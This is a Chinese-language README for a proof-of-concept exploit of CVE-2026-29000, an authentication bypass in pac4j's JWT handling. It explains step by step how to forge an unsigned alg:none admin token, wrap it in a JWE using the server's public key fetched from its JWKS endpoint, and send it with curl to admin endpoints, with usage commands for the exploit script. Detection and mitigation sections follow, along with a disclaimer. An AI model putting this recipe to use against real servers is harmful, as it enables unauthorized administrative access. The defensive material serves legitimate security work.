概念验证 用于 CVE-2026-29000 - pac4j JWT 实现中的一个严重认证绕过漏洞,允许攻击者在没有有效签名的情况下伪造管理员令牌。
此工具仅用于教育和授权安全测试目的。作者对任何滥用、损坏或非法使用此漏洞利用不承担任何责任。
该漏洞利用了 pac4j JWT 认证机制中的一个缺陷,其中库:
alg: "none"攻击者可以构建一个带有任意声明(如 role: "ROLE_ADMIN")的未签名 JWT,使用服务器的公钥将其加密到 JWE 容器中,从而获得对管理员功能的未授权访问。
要使此漏洞利用成功,目标服务器必须满足所有以下条件:
服务器必须通过以下端点之一公开其公钥:
/.well-known/jwks.json(标准 OAuth/OIDC 端点)/api/auth/jwks(自定义端点)原因: 漏洞利用会自动获取服务器的公钥以加密伪造的 JWE 令牌。
服务器必须:
role 声明ROLE_ADMIN)常见角色:
ROLE_ADMIN - 完全管理访问权限ROLE_USER - 标准用户访问权限服务器必须:
应用程序必须使用 pac4j,且:
"none" 或算法验证不充分requests、jwcrypto# 克隆仓库
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# 安装依赖
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
示例:
python3 exploit.py http://vulnerable-app.local:8080
脚本将:
role: "ROLE_ADMIN" 的未签名 JWTpython3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
如果 JWKS 端点不可公开访问,请手动提供 JWK:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
漏洞利用输出格式如下的 JWE 令牌:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
在 HTTP 请求中使用该令牌访问受保护端点:
# 使用 curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# 使用 Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # 用户名
"role": "ROLE_ADMIN", # 权限级别
"iss": "principal-platform", # 签发者
"iat": 1234567890, # 签发时间
"exp": 1234571490 # 过期时间(1小时)
}
JWT 创建时没有签名(alg: "none"),这通常无效但会被存在漏洞的服务器接受。
漏洞利用查询:
/.well-known/jwks.json(OAuth/OIDC 标准)/api/auth/jwks(自定义端点)这将检索服务器用于加密的 RSA 公钥。
未签名的 JWT 使用以下方式加密:
这会创建一个服务器可以解密但不会验证内部签名的 JWE 令牌。
JWE 令牌包含在 Authorization 头中:
Authorization: Bearer <JWE_TOKEN>
存在漏洞的服务器解密它并提取出未签名的 JWT,信任声明而不验证签名。
未签名 JWT (alg:none)
↓
包装为 JWE(使用服务器公钥)
↓
服务器接收 JWE 令牌
↓
服务器解密 JWE
↓
提取内部未签名 JWT
↓
❌ 服务器未验证签名
↓
✅ 接受声明为有效(role: ROLE_ADMIN)
↓
攻击者获得管理员访问权限!
JWKS 端点暴露
/.well-known/jwks.json 或 /api/auth/jwks 是否可公开访问JWT 验证日志
alg: "none" 的令牌的日志配置审查
# 信息收集
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# 检查是否接受 JWE 令牌
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
强制签名验证
// 错误 - 接受未签名令牌
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ 存在漏洞
// 正确 - 要求有效签名
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ 安全
验证 JWT 算法
alg: "none"如非必要,禁用 JWE
更新 pac4j
添加令牌验证层
exp 声明)iss 声明)限制 JWKS 端点访问
location /.well-known/jwks.json {
allow 10.0.0.0/8; # 仅内部网络
deny all;
}
监控认证日志
alg: "none" 的令牌发出警报网络分段
定期安全审计
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ 存在漏洞:无签名验证
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// 接受 JWE 但不验证内部 JWT
return new JWEEncrypter();
}
}
此漏洞利用仅用于教育和授权安全测试目的。
未经授权访问计算机系统是非法的。 此工具仅应用于:
作者对因使用此工具而导致的滥用或损害不承担任何责任。
MIT 许可证 - 详情请参阅 LICENSE 文件
发现错误?有改进建议?
git checkout -b feature/improvement)git commit -m '添加改进')git push origin feature/improvement)如有问题、疑问或建议:
最后更新时间: 2026 年 5 月
作者: 安全研究团队
状态: 教育性 PoC